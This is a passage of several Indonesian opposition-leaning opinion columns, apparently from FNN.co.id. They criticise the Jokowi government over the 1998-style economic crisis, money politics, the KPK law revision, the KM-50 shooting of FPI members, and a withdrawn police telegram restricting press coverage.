yang melanda Indonesia sejak Juli 1997, yang ditandai dengan anjloknya nilai tukar rupiah terhadap dollar AS, bangkrutnya sejumlah perbankan nasional akibat kesulitan likuiditas, dan gelombang PHK di sejumlah perusahaan swasta yang berhenti mendadak karena terhentinya aliran pinjaman kredit dari dunia perbankan. Selain karena faktor ekonomi, para tokoh pergerakan Indonesia juga sudah bosen dengan Soeharto yang telah berkuasa selama 32 tahun. Dengan kata lain, semua pihak waktu itu menginginkan perubahan. Dan hanya butuh waktu 22 hari saja untuk bisa menurunkan Soeharto dari kursi Presiden RI. Awal pergerakan dimulai pada 1 Mei 1998, dimana waktu itu pemerintah menaikkan BBM 74%, dan minyak tanah 44%. Kenaikan BBM tersebut merupakan saran dan rekomendasi Dana Moneter Internasional (IMF) untuk dijalankan pemerintah Indonesia. Sejak dihantam krismon tahun 1997, pemerintah Indonesia menandatangi Letter of Intent (LoI) dengan IMF. Penandatangan LoI dilakukan Presiden Soeharto waktu itu dengan Direktur Pelaksana IMF Michel Camdessus. Momen bersejarah ini ramai menjadi perbincangan publik karena saat Soeharto membubuhkan tandatangan di LoI, Michel Camdessus berdiri sambil berlipat tangan. Camdessus terlihat mengawasi Presiden Soeharto meneken surat berisi janji mereformasi ekonomi atas desakan IMF. LoI merupakan matriks rencana aksi yang bersifat mengikat. Isi LoI diantaranya menghapuskan program mobil nasional dan melumatkan monopoli cengkeh. Sebelum BBM dinaikkan, jelas Rizal Ramli, dirinya pernah diminta pendapatnya oleh Direktur Pelaksana IMF wilayah Asia Dr Hubert Neiss. Rizal menyatakan momentum kenaikan BBM tidak tepat karena banyak masyarakat yang menderita akibat krismon. Namun, IMF tidak mau tahu dan tetap meminta pemerintah Indonesia menaikkan harga BBM. Betul saja, sehari setelah kenaikan BBM terjadi gelombang aksi mahasiswa yang diawali dari Kampus Universitas Muslimin Indonesia (UMI) Makassar. Kemudian diikuti oleh para mahasiswa Unhas, seminggu kemudian para mahasiswa di Medan rusuh. Gelombang aksi mahasiswa ini dengan cepat menjalar ke Solo yang diwarnai kerusuhan dan kebakaran di sejumlah gedung dan toko-toko disana. Aksi demo mahasiswa dan kerusuhan kemudian melanda Jakarta. Akhirnya Soeharto jatuh dan hanya butuh waktu 22 hari. "Waktu itu tidak ada yang menduga Presiden Soeharto yang sangat kuat sekali bisa jatuh dalam waktu 22 hari," ungkap Rizal Ramli. Nah, kalau melihat konteks sekarang, krisis ekonomi lebih parah ketimbang tàhun 1998. Tingkat kesulitan ekonomi yang dihadapi rakyat kita hari ini jauh lebih susah dan akan lebih berat dibandingkan krisis ekonomi 1998. Oleh karena itu, Rizal Ramli merasa optimis akan terjadi perubahan sebelum tàhun 2024. Ketika ditanya lebih rinci tentang perubahan dan proses pergantian Presiden Jokowi, Rizal Ramli hanya menjelaskan secara off the record. Semoga harapan masyarakat yang menginginkan adanya perubahan di negeri ini bisa segera terwujud. * Penulis adalah Wartawan Senior FNN.co.id.

Masih Soal Ancaman Politik Uang

By Abdurrahman Syebubakar Jakarta, FNN - Saya mulai tulisan ini dengan mengutip penggalan catatan PBNU dalam Muhasabah 2017 dan Resolusi 2018, ikhwal residu demokrasi bahwa “mekanisme demokrasi telah menghasilkan dua ekses yang merusak, yaitu politik uang dan politik identitas. Jika politik uang merusak legitimasi, politik identitas merusak kesatuan sosial melalui sentimen primordial yang mengoyak anyaman kebangsaan.” Pada saat yang sama, seorang politikus senior PDIP dalam sebuah dialog di TV One menyatakan dampak negatif politik uang bersifat terbatas dan jangka pendek. Sedangkan politik identitas menyebabkan kerusakan yang sangat luas dalam jangka panjang. Baik PBNU maupun politikus PDIP cenderung menyederhanakan dampak negatif politik uang. Sebaliknya, melebih lebihkan dan “mendemonisasi” politik identitas. Saya menduga pernyataan tersebut terlontar karena tidak memahami seluk beluk politik uang dengan segala daya rusaknya. Mungkin juga terselip agenda stigmatisasi Islam politik. Di lain pihak, menyepelekan praktek kotor politik transaksional berbasis pertukaran materi dan jasa, yang membusuki dunia politik Indonesia. Pun, politik gentong babi (pork-barrel politics) dianggap biasa, di mana para politikus menghambur-hamburkan uang negara demi dukungan politik, dengan mengorbankan kepentingan rakyat. Gagal paham tentang daya rusak politik uang yang berhimpitan dengan fobia Islam politik, juga merasuki kalangan dengan sebutan pengamat politik, yang sebagiannya merangkap sebagai “industrialis survei” atau buzzerp kekuasaan. Bagi mereka, ancaman politik identitas lebih berbahaya daripada politik uang, karena tiga sebab. Pertama, politik uang bersifat temporal, hanya berlaku pada waktu tertentu. Kedua, malpraktik politik ini bersifat lokal, terjadi di daerah pemilihan saja. Terakhir, menurut mereka, berbeda dari politik identitas, politik uang tidak memicu keterbelahan di tengah masyarakat. Tentu saja, pendapat tersebut sangat menyesatkan, jauh dari kaidah ilmiah dan fakta. Minus basis teoritik, dan bertolak belakang dengan begitu banyak hasil riset tentang politik elektoral, khususnya politik uang, di berbagai belahan dunia. Sebagaimana saya kutip dalam tulisan bertajuk “Politik uang memicu ketegangan politik identitas” (fnn.co.id, 27 Maret 2021). Laporan Pembangunan Dunia 2017 oleh World Bank mencatat bahwa politik klientalistik [dimana politik uang menjadi komponen utama] merupakan sumber berbagai tantangan pembangunan global, mulai dari korupsi dan penyediaan layanan publik yang tidak memadai hingga kekerasan etnis dan penegakan hukum yang lemah. Amerika Serikat, yang dijuluki “kampiun demokrasi”, tidak luput dari hantaman politik uang. Joseph Stiglitz, peraih hadiah nobel ekonomi asal AS, menyebut demokrasi di negaranya sebagai demokrasi "one dollar one vote" bukan lagi "one man one vote". Menurut Stiglitz, demokrasi one dollar one vote ini menjadi penyebab memburuknya ketimpangan sosial-ekonomi. Bahkan menguatnya politik identitas dan hiper-nasionalisme disertai kekerasan rasial di AS, akhir akhir ini, disebut sebagai akibat langsung dan tidak langsung dari demokrasi one-dollar one-vote. Tidak lepas dari peran negatif komersialisasi politik ini, Noam Chomsky dan Francis Fukuyama, dua pemikir terkemuka rekan senegara Stiglitz, mendakwa negara mereka sebagai negara gagal. Dalam buku “Democracy for Sale: Elections, Clientelism and the State in Indonesia” (2019), Edward Aspinall dan Ward Berencshot dari the Australian National University (ANU) mengonfirmasi bahwa politik klientalistik adalah akar dari berbagai tantangan yang dihadapi Indonesia, mulai dari kerusakan lingkungan, ketimpangan sosial yang persisten, perencanaan tata ruang yang buruk hingga layanan publik yang tidak memadai, dan korupsi. Memang, sejak reformasi bergulir, terutama pasca pemilu langsung pertama 2004, praktik politik uang meningkat tajam. Naik tiga kali lipat, dari sekitar 11 persen pada pemilu 2009 menjadi sepertiga pemilih, masing-masing, pada pemilu 2014 dan 2019. Pada saat yang sama, terjadi kemerosotan di berbagai bidang, seperti terungkap dalam riset politik Aspinall dan Berenschot di atas. Dan daftar masalah selama enam tahun terakhir masih panjang, termasuk demokrasi dan kebebasan yang dibajak oligarki dan dan otoritarianisme, menguatnya feodalisme dan dinasti politik, serta meluasnya friksi dan ketegangan sosial. Mengapa politik uang sangat berbahaya? Politik uang mendatangkan ancaman serius terhadap berbagai sektor pembangunan melalui berbagai jalur, langsung maupun tidak langsung, dengan dampak negatif sistemik dan luas. Secara ringkas, berikut penjelasan logis dibalik ancaman politik uang. Politik uang merupakan wujud ketimpangan politik antara rakyat dan elit politik. Rakyat diposisikan tidak berdaya (powerless), dengan pilihan yang nyaris tidak ada, kecuali mempertukarkan aspirasi dan hak politik mereka dengan imbalan materi atau jasa. Ketimpangan politik, yang saling mempengaruhi secara negatif dengan ketimpangan ekonomi (lihat Joseph Stiglitz dalam the Great Divide 2015, Amartya Sen dalam Development as Freedom 1999), menghambat mobilitas sosial, terutama masyarakat lapisan bawah. Pada gilirannya, mobilitas sosial yang rendah memicu makin parahnya ketimpangan ekonomi dan politik, seperti lingkaran setan. Politik uang menegasikan kewajiban negara untuk merumuskan dan menjalankan kebijakan yang rasional, inklusif dan responsif terhadap kepentingan rakyat, terutama kelompok miskin dan marjinal. Dengan kata lain, penyelenggara negara merasa lepas dari tanggungjawab untuk merespon aspirasi dan kepentingan rakyat karena telah dipertukarkan dengan materi/jasa. Pada saat yang sama, pertukaran hak politik dengan materi/jasa menyebabkan rakyat merasa tidak berhak ikut serta mewarnai dan memastikan kebijakan/program pembangunan berpihak pada kepentingan mereka. Dalam hal ini, kesempatan rakyat untuk meraih kehidupan sosial-ekonomi yang lebih baik, dengan sendirinya tersingkir. Politik uang merusak prinsip dan kaidah demokrasi elektoral yang menjunjung tinggi “fair play” bagi kontestan politik kekuasaan, guna menjamin terpilihnya pemimpin berkualitas yang mampu mengelola potensi dan tantangan pembangunan. Sebaliknya, politik uang berpotensi memenangkan calon berkantong tebal atau yang didukung para pemodal sehingga melahirkan pemimpin defisit kualitas dan integritas. Lebih jauh, pemimpin cacat legitimasi dan moral, sehingga tidak mampu memimpin jalannya roda pemerintahan secara efektif. Politikus berbasis politik uang cenderung menghalalkan segala cara untuk meraih dan mempertahankan kekuasaan. Jual beli jabatan dan obral proyek negara kepada para pemodal menjadi pilihan para politikus ini. Dengan pola seperti ini, korupsi makin merajalela (lihat Syebubakar dalam Vote-buying breeds Indonesia’s ubiquitous corruption, observerid.com 19/03/2021), dan oligarki bebas mengendalikan kebijakan negara. Politik uang mendorong parpol memainkan politik dagang sapi dalam merekrut anggota, caleg dan calon pemimpin di pusat dan daerah. Akibatnya, parpol disesaki politikus pemburu rente. Niatnya hanya menumpuk uang dan meraih kekuasaan. Setelah itu, uang dan kekuasaan lagi, begitu seterusnya. Sebagai penutup, saya berharap tulisan ini dapat membantu meluruskan klaim yang tidak berdasar dan “bias sentimen politik identitas” dari sejumlah kalangan, yang cenderung meremehkan bahaya politik uang. Penulis Ketua Dewan Pengurus Institute for Democracy Education (IDe) dan Pegiat Demokrasi Sosial dan Anti-korupsi

Rakyat Wajib Konstitusional Penguasa Boleh Seenaknya

YANG menjadi masalah besar di negeri ini ialah rakyat senantiasa wajib konstitusional dalam bertindak, baik itu dalam memprotes sesuatu atau ingin melawan kezaliman. Di pihak lain, para penguasa bertindak sesuka hati, seenaknya saja. Mereka terangan-terangan mengakali rakyat dengan bertopengkan langkah-langkah yang kelihatan konstitusional, tetapi sesungguhkan dikatorial. Inilah yang telah berlangsung selama bertahun-tahun hingga hari ini. Semakin blak-blakan. Para penguasa tidak segan-segan melakukan segala macam muslihat untuk memperkuat dan mempertahankan kekuasaan. Mereka “pintar” sekali. Pintar mencari dukungan politik dari para elit. Dari semua elit: elit politik, elit sosial-budaya, dan terutama dari elit bisnis. Akal-akalan dalam penetapan ‘presidential threshold’ (PT) 20% adalah salah satu contoh tindakan semena-mena penguasa yang diloloskan sebagai langkah konstitusional. Padahal, semua orang paham bahwa PT digulirkan, dibahas, dan disahkan oleh parlemen melalui tekanan, penyanderaan, iming-iming atau cara-cara kotor lainnya. Revisi UU tentang Komisi Pemberantasan Korupsi (KPK) adalah contoh yang faktual tentang “playing with constitutional look like maneuvers” (bermain dengan manuver yang mirip konstitusional). Pemerintah bersama DPR menyetujui revisi (perubahan). Perubahan UU KPK antara lain menetapkan bahwa para pegawai KPK tidak independen lagi. Mereka menjadi bagian dari organ pemerintah. Bukan penegak hukum lagi. Lain lagi penambahan organ KPK berupa Dewan Pengawas (Dewas). Kehadiran Dewas membuat KPK tidak bisa lagi bebas melakukan OTT (Operasi Tangkap Tangan). Revisi ini juga menetapkan bahwa KPK boleh menghentikan penyidikan. Mereka bisa mengeluarkan SP3 untuk kasus-kasus lama. Belum lama ini, KPK langsung menggunakan hak SP3 itu. Sjamsul Nursalim dan istrinya yang selama ini menjadi buron, adalah tersangka pertama yang mendapat “berkah” dari revisi UU KPK. Koruptor besar yang menyalahgunakan BLBI (Bantuan Likuiditas Bank Indonesia) semasa krisis moneter 1997-1998 itu, kini dihentikan penyidikan kasusnya. Mereka sekarang bisa bebas lagi masuk ke Indonesia dari luar negeri. Revisi UU KPK adalah proses yang terlihat berlangsung secara konstitusional, padahal tidak. Semua itu berlangsung dalam kerangka kerjasama busuk antara orang-orang yang ingin terus melakukan kejahatan, menggerogoti uang negara. Revisi tersebut didukung oleh mayoritas anggota DPR. Disambut baik oleh pemerintah. Revisi ini sesungguhnya adalah pengkhianatan terhadap rakyat. Begitu juga dengan pemberlakuan secara paksa Omnibus Law UU Ciptaker Nomor 11 tahun 2020 oleh pemerintah bersama DPR. Seluruh proses, mulai dari penyerapan aspirasi rakyat, perumusan pasal-pasal, pembahasan hingga penetapan, berlangsung dengan banyak kejanggalan. Tetapi, dengan kekuasaan yang mereka miliki, proses ini bisa kelihatan konstitusional. Padahal, ada sejumlah tindakan yang melanggar peraturan. Misalnya saja, setelah Presiden Jokowi menandatangani Omnibus Law itu, berbagai perbaikan dilakukan. Ada yang ditambah, ada yang dikurangi. Bahkan ada halaman yang hilang atau disisipkan. Namun, karena kekuasaan lagi-lagi ada di tangan para elit politik yang sangat menentukan, UU Ciptaker itu pun seolah diproduksi secara konstitusional. Dalam penegakan hukum pun, manuver-manuver mirip konstitusional juga dilakukan. Misalnya, operasi kepolisian dan intelijen yang ditujukan kepada kegiatan terbuka yang dilakukan oleh Habib Rzieq Syihab (HRS) dan FPI (Front Pembela Islam). Komisi Nasional Hak Azasi Manusia (Komnas HAM) menyimpulkan bahwa ada pembunuhan melawan hukum (unlawful killing) terhadap 6 pengawal HRS. Dalam temuan lain, Komnas meminta agar diungkap identias dua mobil yang tidak diakui oleh kepolisian dalam operasi mereka terhadap rombongan HRS pada 7 Desember 2020. Begitu juga keberadaan mobil Land Cruiser yang diduga kuat ikut mengatur operasi yang diyakini ingin menghabisi HRS itu. Ada pula tindakan penguasa yang patut diduga sebagai upaya untuk menghilangkan barang bukti. Yaitu, penghancuran komplek ‘rest area’ di KM-50 Jalak Tol Jakarta-Cilkampek. Sekarang ini, pelanggaran-pelanggaran yang terkait dengan operasi terhadap HRS, seolah akan dibuat sebagai tindakan yang konstitusional. Ada usaha penguasa untuk menggiring opini publik bahwa tindakan tim operasi yang melakukan kejahatan pidana itu merupakan langkah untuk menjaga keamanan dan ketertiban. Sangat menyolok adalah tindakan hukum terhadap HRS dengan tuduhan menimbulkan kerumunan. Bahkan ditambah dengan tuduhan penghasutan untuk berkerumun. HRS sudah membayar denda kerumunan sesuai aturan. Sehingga, banyak orang berpendapat bahwa langkah hukum yang diberlakukan terhadap HRS saat ini bertentangan dengan konstitusi. Tetapi, ada saja cara para penguasa untuk menjelaskan bahwa yang mereka lakukan itu adalah langkah yang sesuai konstitusi. Jadi, sekali lagi, yang berlangsung saat ini adalah bahwa rakyat wajib senantiasa konstitusional sedangkan para penguasa bisa seenak mereka saja.

Negeri Fitnah Yang Menerapkan "Summum Ius Summa Iniuria"

by M. Rizal Fadillah Bandung FNN - Adalah Habib Rizieq Shihab (HRS) dan Front Pembela Islam (FPI) menjadi sasaran fitnah keji. Aksi terorisme "abal-abal" dikait-kaitkan atau dihubungkan dengan FPI dan tentu HRS. Terkesan mau dipakai untuk menutupi-nutupi kasus pembunuhan terhadap enam anggota Laskar FPI di kilometer 50 tol Jakarta-Cikampek (Japek). Pembunuhan berdasarkan hasil penyelidikan Komisi Nasional Hak Asasi Manusia (Komnas HAM) patut diduga melibatkan anggota polisi dari Polda Metro Jaya. Perbuatan kejahatan yang tak bisa dihindari mengarah pada keterlibatan aparat keamanan. Dampknya pelakukan pmebunuhan terdahap enam anggota laskar FPI tidak diumumkan. Adapun nama-nama pelaku yang terus-terusan disembunyikan, dan hingga kini tidak diumumkan oleh oleh Bareskrim Polri, menjadi keanehan tersendiri. Keanehan yang membuka peluang bagi terjadinya rekayasa lanjutan perkara ini. Wajar kalaui publik bertany-tanya, mengapa belom juga diumumkan para tersangka? Siapa saja nama-nama mereka? Penangkapan orang-orang "jaringan terorisme" yang dikaitkan dengan mantan atau simpatisan FPI adalah dugaan dari fitnah yang direkayasa. FPI selama ini tidak pernah dituduh sebagai organisasi teroris. Bahkan mantan Kapolri Prof. Dr. Tito Karnavian memuji-muji FPI setinggi langit, sebagia organisasi yang sangat nasional, dan peduli terhadap persoalan kebangsaan. Sepak terjang FPI, baik kegiatan maupun ungkapan tokohnya yang selalu mengecam terorisme semua yang berbau terorisme. FPI sendiri merupakan organisasi formal dan legal. Hanya karena dipersulit pendaftaran badan hukumnya, akhirnya dibubarkan oleh pemerintah. Itupun sampai sekarang tanpa ada perlawanan, apalagi kekerasan dari FPI. Radikalisme, ekstrimisme, dan terorisme justru ditujukan kepada umat Islam. Profil setiap pelaku "teroris" yang ditampilkan selalu beratribut Islam. Padahal pernah ada pelaku perencanaan bom atas gereja beragama Katolik yang ditangkap oleh polisi. Sayangnya polisi tidak pernah mau memberikan stigma dan status sebagai pelaku teroris. Apa penyebab? Hanya polisi yang tau. Namun tidak bagi umat Islam. Ini tentu saja sangat menyakitkan. Jika pelaku bom bunuh diri di Gereja Katedral Makasar itu benar anggota Jaah Ansorul Daulah (JAD), maka bukalah sudah sejelas-jelasnya siapa dan apa organisasi ini? Jangan dipelihara lagi, sehingga semua harus dikait-kaitkan dengan Islam. Langsung saja umumkan pembubaran organisasi JAD. Selesai dan habisi itu JAD. Yakinkan kepada rakyat bahwa JAD ini bukan organisasi buatan yang dijadikan hantu cantolan terorisme. Bom yang disebut bunuh diri di Gereja Katedral Makassar itu janggal. Sebab betapa bodohnya pelaku datang ke Gereja berbusana muslimah. Bercadar lagi. Begitu juga wanita berbusana muslimah ZA yang mengacungkan senjata air soft gun di Mabes Polri lalu ditembak mati itu. Sebaiknya Komnas HAM perlu turun tangan untuk mengusut siapa yang pelaku yang menembak mati ZA di Mabes Polri tersebut. Mengapa harus ditembak mati? Mengapa bukan dilakukan tembakan untuk melumpuhkan ZA saja. Apakah lawful atau unlawful killing? Publik jangan disuguhkan informasi hanya dari polisi. Kasus kilometer 50 tol Japek cukup menjadi pelajaran berharga buat bangsa ini bahwa tidak cukup masyarakat mendapat indormasi dari polisi saja. Untung masih ada Komnas HAM yang menemukan penembakan terhadap empat anggota laskar FPI oleh anggota Polda Metro Jaya. Selain itu, ada mobil Land Cuiser di lokasi kejadin kilometer 50 tol Japek. Ada juga mobil Avanza Hitam dan Avanza Silver yang publik tidak tau keberadaannya. Sebab sebelumnya tidak diumumkan oleh polisi. Saat enam anggota laskar FPI yang dibunuh, disiksa dan dijadikan tersangka adalah fitnah keji. Begitu juga peradilan HRS yang didakwa melakukan kerumunan saat walimahan anaknya dan maulidan. Mengapa kerumunan "wedding" Attar Halilintar dan Aurel Hermansyah, puteri Krisdayanti dibolehkan? Jokowi, Prabowo, Bambang Soesetyo hadir pula. Sungguh ini fakta dari suatu ketidakadilan. Tontonan ketidakadilan juga semakin menjijikan diperlihatkan dengan dihentikannya oleh Komisi Pemberantasan Korupsi (KPK) penyidikan terhadap koruptor Bantuan Likuiditas Bank Indonesia (BLBI) kakap Syamsul Nursalim, yang buron bertahun-tahun. Sampai sekarang belum kembali ke Indonesia. Mungkin sebentar lagi balik. Apalagi SP3 sudah keluar. Tidak lagi ada hambatan untuk pulang. Betapa nyaman menjadi perampok besar di negeri ini. Kabur bertahun-tahun ke luar negeri, lalu keluar SP3 dari KPK. Padahal BLBI adalah perampokan uang rakyat puluhan, bahkan ratusan triliunan rupiah. Perampokan ini ditutup hanya dengan Inpres No. 8 Tahun 2002. Inpres ini diteken oleh Megawati Soekarnoputri ketika menjabat sebagai Presiden. KPK semestinya tidak menetapkan SP3 kepada penjahat besar Syamsul Nursalim dan istrinya Itjih Nursalim. Sebab pasal 40 ayat (1) UU KPK hanya merumuskan "dapat". Tidak adanya kewajiban bagi KPK untuk mengeluarkan SP3. Wajar jika KPK dicurigai bermain-main dalam kasus ini. Sudah terlalu banyak tampilan wajah muram ketidakadilan di negeri ini. Rakyat sangat merasakan ketidakadilan itu. Kekuasaan dan kekayaan yang membenarkan perlakuan berbeda terhadap warga negara. Asas "equality before the law" dapat dilanggar dengan berbagai alasan. Atau mungkinkah mereka memahami dan bersikap tak peduli pada keadilan mengingat ada adagium hukum "summum ius summa iniuria", yang berarti keadilan tertinggi adalah ketidakadilan? Penguasa sekareng berhak untuk berbuat tidak adil dengan merasa telah berlaku adil? Soal fitnah keji? Mungkin merasa tidak juga karena di negeri Rusia tahun 2012-2017 pernah sukses mempropagandakan teori semburan fitnah "firehose of falsehood". Menebar kebohongan demi mempengaruhi opini publik termasuk media massa. Adakah rezim Jokowi sedang mempraktekkan teori semburan fitnah ala Rusia saat ini? Sejarah akan berbicara esok. Penulis adalah Pemerhati Politik dan Kebangsaan.

Kapolri Anulir Telegram Berpolemik, Demi Citra Polisi?

By Mochamad Toha Surabaya, FNN - Komite Keselamatan Jurnalis (KKJ) mengapresiasi keputusan Kapolri Jenderal Listyo Sigit Prabowo yang telah mencabut Surat Telegram Kepala Kepolisian Republik Indonesia Nomor: ST/750/IV/HUM.3.4.5/2021. Meski Surat Telegram tersebut akhirnya dicabut, namun KKJ berharap preseden serupa tidak lagi terjadi ke depan. Sebagai catatan, KKJ dideklarasikan di Jakarta, Jum’at, 5 April 2019. Anggota KKJ organisasi pers dan organisasi masyarakat sipil, yaitu: Aliansi Jurnalis Independen (AJI), Lembaga Bantuan Hukum (LBH) Pers, SAFEnet, Ikatan Jurnalis Televisi Indonesia (IJTI), Yayasan Lembaga Bantuan Hukum Indonesia (YLBHI), Asosiasi Media Siber Indonesia (AMSI); Federasi Serikat Pekerja Media Independen (FSPMI), Amnesty International Indonesia, Serikat Pekerja Media dan Industri Kreatif untuk Demokrasi (SINDIKASI), dan Persatuan Wartawan Indonesia (PWI). Sebelumnya, Jenderal Listyo menerbitkan Surat Telegram Kepala Kepolisian Republik Indonesia Nomor: ST/750/IV/HUM.3.4.5/2021 tentang Pedoman Peliputan yang Bermuatan Kekerasan dan/atau Kejahatan dalam Program Siaran Jurnalistik pada Senin, 5 April 2021. Telegram yang ditujukan kepada para Kapolda Up Kabid Humas tersebut dinilai berpotensi membatasi kebebasan pers yang sudah diatur dalam Undang-Undang Nomor 40 Tahun 1999 tentang Pers. Selain itu, penerbitan Surat Telegram Kapolri tersebut juga menutup masuknya kritik-kritik membangun dari media selaku representasi publik terhadap Lembaga Kepolisian. Dalam Surat Telegram huruf B poin 1 disebutkan, media dilarang menyiarkan upaya/tindakan Kepolisian yang menampilkan arogansi dan kekerasan, diimbau untuk menayangkan kegiatan Kepolisian yang tegas namun humanistik. Pelarangan penyiaran upaya/tindakan Kepolisian yang menampilkan arogansi dan kekerasan ini berlawanan dengan ayat (2) Pasal 4 UU Pers: “Terhadap pers nasional tidak dikenakan penyensoran, pembredelan, atau pelarangan penyiaran”. Selain itu, ayat (3) Pasal 4 UU Pers juga menyebutkan, “Untuk menjamin kebebasan pers, pers nasional mempunyai hak mencari, memperoleh, dan menyebarluaskan gagasan dan informasi”. Tentu, dalam menyajikan pemberitaan, pers juga memiliki koridor tersendiri yang telah jelas diatur dalam Kode Etik Jurnalistik dan Pedoman Perilaku Penyiaran dan Standar Program Siaran (P3SPS). Penerbitan Surat Telegram Kapolri yang ditandatangani Kepala Divis Humas Polri Inspektur Jenderal Prabowo Argo Yuwono atas nama Kapolri ditujukan dalam pelaksanaan peliputan yang bermuatan kekerasan dan/atau kejahatan dalam program siaran jurnalistik (huruf B) dan bukan semata-mata mengatur program kehumasan Polri. Oleh karena itu, Surat Telegram tersebut dikhawatirkan juga akan diterapkan pada peliputan-peliputan media massa/pers pada umumnya yang melakukan peliputan kegiatan-kegiatan Kepolisian. Pelarangan penyiaran upaya/tindakan Kepolisian yang menampilkan arogansi dan kekerasan Kepolisian dikhawatirkan justru akan menutup upaya bersama untuk mewujudkan reformasi di tubuh Kepolisian. Padahal, transparansi menjadi salah satu syarat utama dalam proses perbaikan kinerja dan profesionalitas Kepolisian. Adapun, untuk poin-poin isi Surat Telegram Kapolri Indonesia Nomor: ST/750/IV/HUM.3.4.5/2021 lainnya, KKJ menilai isi materinya telah sesuai dengan UU Pers dan P3SPS. Jika dirinci, setidaknya ada 11 poin dari telegram Kapolri yang mengatur aktivitas jurnalistik terkait peliputan media: Pertama, media dilarang menyiarkan upaya/tindakan kepolisian yang menampilkan arogansi dan kekerasan. Kemudian diimbau untuk menayangkan kegiatan kepolisian yang tegas namun humanis; Kedua, tidak menyajikan rekaman proses interogasi kepolisian dan penyidikan terhadap tersangka tindak pidana; Ketiga, ]tidak menayangkan secara terperinci rekonstruksi yang dilakukan oleh kepolisian; Keempat, tidak memberitakan secara terperinci reka ulang kejahatan meskipun bersumber dari pejabat kepolisian yang berwenang dan/atau fakta pengadilan; Kelima, tidak menayangkan reka ulang pemerkosaan dan/atau kejahatan seksual; Keenam, menyamarkan gambar wajah dan indentitas korban kejahatan seksual dan keluarganya, serta orang yang diduga pelaku kejahatan seksual dan keluarganya; Ketujuh, menyamarkan gambar wajah dan identitas pelaku, korban dan keluarga pelaku kejahatan yang pelaku maupun korbannya yaitu anak di bawah umur; Kedelapan, tidak menayangkan secara eksplisit dan terperinci adegan dan/atau reka ulang bunuh diri serta menyampaikan identitas pelaku; Kesembilan, tidak menayangkan adegan tawuran atau perkelahian secara detil dan berulang-ulang; Kesepuluh, dalam upaya penangkapan pelaku kejahatan agar tidak membawa media, tidak boleh disiarkan secara live, dokumentasi dilakukan oleh personel Polri yang berkompeten; Kesebelas, tidak menampilkan gambaran secara eksplisit dan terperinci tentang cara membuat dan mengaktifkan bahan peledak. Seorang wartawan menyebut, poin no 1-4 itu juga sudah masuk wilayah kerja jurnalistik. Polisi tidak semestinya membuat keputusan sepihak seperti itu. Pers bukan anak buah atau humas polisi. Kecuali no 10, poin no 5-11 itu secara umum sudah termaktub di kode etik jurnalistik, UU Pers, serta peraturan terkait di bawahnya. Untuk yang nomor 10, bagaimana kalau insan pers mengetahui (bukan pemberitahuan dari polisi) ada penangkapan terhadap pelaku kejahatan? Apa wartawan dilarang melakukan peliputan? Tentu tidak tepat bila polisi menghalangi tugas jurnalistik. Karena ini jelas bertentangan dengan UU Pers. Apakah telegram Kapolri tersebut ada kaitannya dengan terungkapnya kekejian polisi ketika menembak mati 6 laskar FPI, penembakan hingga tewas wanita “teroris” di Mabes Polri, dan penyiksaa wartawan TEMPO Nurhadi di Surabaya? Tapi, sehari setelah terbitnya Surat Telegram Kepala Kepolisian Republik Indonesia Nomor: ST/750/IV/HUM.3.4.5/2021, Kapolri langsung mencabut Surat Telegram tersebut dengan menerbitkan Surat Telegram Nomor: ST/759/IV/HUM.3.4.5/2021 pada 6 April 2021. Yang berisi: menyatakan pencabutan Surat Telegram Kepala Kepolisian Republik Indonesia Nomor: ST/750/IV/HUM.3.4.5/2021 tentang Pedoman Peliputan yang Bermuatan Kekerasan dan/atau Kejahatan dalam Program Siaran Jurnalistik. Komisi untuk Orang Hilang dan Korban Tindak Kekerasan (Kontras) pernah mencatat, Polri diduga terlibat dalam 921 kekerasan dan pelanggaran HAM sepanjang Juli 2019 sampai Juni 2020. Dari peristiwa itu, 1.627 orang luka-luka dan 304 orang tewas. “Selama satu tahun periode Juli 2019 sampai Juni 2020, tercatat ada 921 peristiwa kekerasan oleh kepolisian,” kata peneliti KontraS, Rivanlee Anandar, Selasa (30/6/2020) Jakarta, seperti dilansir CNN Indonesia, Rabu (01/07/2020 07:36 WIB). Sepanjang 2020, personel polisi kerap menggebuki dan mengintimidasi demonstran. Bukan hanya terhadap mereka yang vandalis, tapi juga pada orang-orang yang sudah tidak melawan, warga biasa, atau bahkan wartawan yang meliput demonstrasi. Lembaga pengawas Kepolisian yang seharusnya menjadi evaluator juga tidak bisa berbuat banyak. Tidak semua dugaan kasus itu berujung pada penyelidikan tuntas dan memberikan sanksi pada polisi. Salah satu yang benar-benar diusut tuntas adalah penembakan berujung kematian kepada mahasiswa Universitas Halu Oleo, Kendari, Sulawesi Tenggara, Immawan Randi. Remaja usia 21 tahun itu meninggal setelah ditembak saat demontrasi #ReformasiDikorupsi. Selain Randi, satu mahasiswa lain yang meninggal adalah Muhammad Yusuf (19). Enam anggota polisi divonis bersalah berdasar pertimbangan dari Divisi Propam Polda Sultra yang merupakan pengawas internal kepolisian. Mereka tak dikenakan pasal pembunuhan. Tapi, hanya dianggap melanggar disiplin karena membawa dan menembakkan senjata tajam. Hukuman untuk 6 anggota Polres Kendari itu berupa teguran lisan, penundaan satu tahun kenaikan pangkat, dan dikurung selama 21 hari. Harus diakui, semua tindak kekerasan aparat kepolisian itu terungkap berkat jari-jemari para jurnalis. Itulah masalah yang kini dihadapi Jenderal Listyo! *** Penulis wartawan senior FNN.co.id

Rakyat Hari Ini, Seperti Anak Ayam Kehilangan Induknya

by Bambang Tjuk Winarno Madiun FNN - Pembaca FNN dimana pun yang bisa mengakses situs ini, bisakah membayangkan situasi dan kondisi sosial rakyat dari Sabang menuju Merauke saat ini? Jika peka, maka ilustrasi yang muncul adalah laksana anak ayam kehilangan induknya. Masyarakat luas, yang katanya memiliki presiden sebagai pemimpin negara, namun serasa seperti tidak adanya kehadiran seorang pemimpin. Saat ini masyarakat tengah merasakan situasi penuh kebingunan. Galau dan kacau. Tidak mengerti harus bagaimana? Mesti harus berbuat apa? Sebab segala permasalahan yang membuatnya sedemikian pelik yang tengah ditanggung masyarakat, tidak lain adalah bab perekonomian. Gampangnya kalau ngomong, rakyat sulit mencari uang (rezeki). Kesulitan yang belom pernah dirasakan rakyat sebelum ini. Ekonomi itu adalah hal utama. Persoalan yang sangat pokok. Kesulitan perekonomian bukan saja dialami masyarakat kelas menengah ke bawah. Melainkan, juga dirasakan bos-bos besar papan atas. Hari-hari ini merasakan seperti pecah kepalanya. Memikirkan buruknya neraca perdagangan yang dikendalikannya. Biaya-biaya tetap seperti gaji, listrik, iuran BJS Kesehatan dan BPS Tenaga Kerja dan lain-lain. Seorang pemilik warung di Madiun, Jawa 